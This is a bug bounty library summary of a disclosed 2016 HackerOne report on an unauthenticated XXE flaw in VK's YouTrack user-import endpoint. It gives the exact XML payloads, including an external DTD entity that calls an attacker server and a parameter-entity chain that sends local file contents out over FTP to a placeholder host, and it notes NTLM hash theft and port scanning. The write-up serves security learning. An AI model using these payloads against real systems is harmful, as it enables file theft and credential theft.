# VK YouTrack user import: unauthenticated XXE via DTD

XXE in YouTrack user-import PUT endpoint at youtrack.vk-cdn.net let an unauthenticated attacker trigger out-of-band requests and read local files via FTP exfiltration.

- Payout: hidden
- Severity: high
- Program: VK.com
- Found by: bo0om
- Disclosed: 2016-03-18
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/114476
- Library page: https://bugbountylibrary.com/r/h1%3A114476
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:high tech:java technique:oob-exfil vuln:dos vuln:info-disclosure vuln:xxe

**Target:** YouTrack user-import XML endpoint (PUT)
**Root cause:** The XML parser handling the user-import PUT body resolves external DTD entities without validation, so attacker-supplied SYSTEM URIs are fetched and expanded server-side.
**Steps:**
1. Send `PUT` to the YouTrack import endpoint with body `<?xml version="1.0"?><!DOCTYPE list [<!ENTITY % xxe SYSTEM "http://myserver/xxe-test">%xxe;]><list></list>`
2. Observe the server issuing `GET /xxe-test HTTP/1.1` with `USER_AGENT: Java/1.8.0_45` from `87.240.169.26` (srv26-169-240-87.vk.com)
3. Replace the URI with an attacker DTD containing `<!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://myhost:1935/%b;'>">%c;` to exfiltrate file contents over FTP
**How found:** Noticed the import feature accepts XML per JetBrains docs, hypothesized a non-validating parser would resolve external DTD entities, and confirmed by pointing a SYSTEM entity at a controlled server and observing the callback.
**Exploitation:** Unauthenticated PUT with a malicious DTD causes the Java XML parser to fetch attacker-controlled external entities; parameter entities can exfiltrate local file contents over FTP, and UNC/file URIs enable DoS, port scanning, and NTLM hash theft.
**Escalation:** Chaining OOB DTD with FTP-based parameter entity exfiltration turns blind XXE into arbitrary local file disclosure; UNC paths pivot to NTLM credential theft against attacker hosts.
**Insight:** Import/export endpoints that accept XML (documented as PUT XML import) are prime XXE targets even when the UI requires admin — the parser may process the DTD before auth checks, so test the raw request unauthenticated.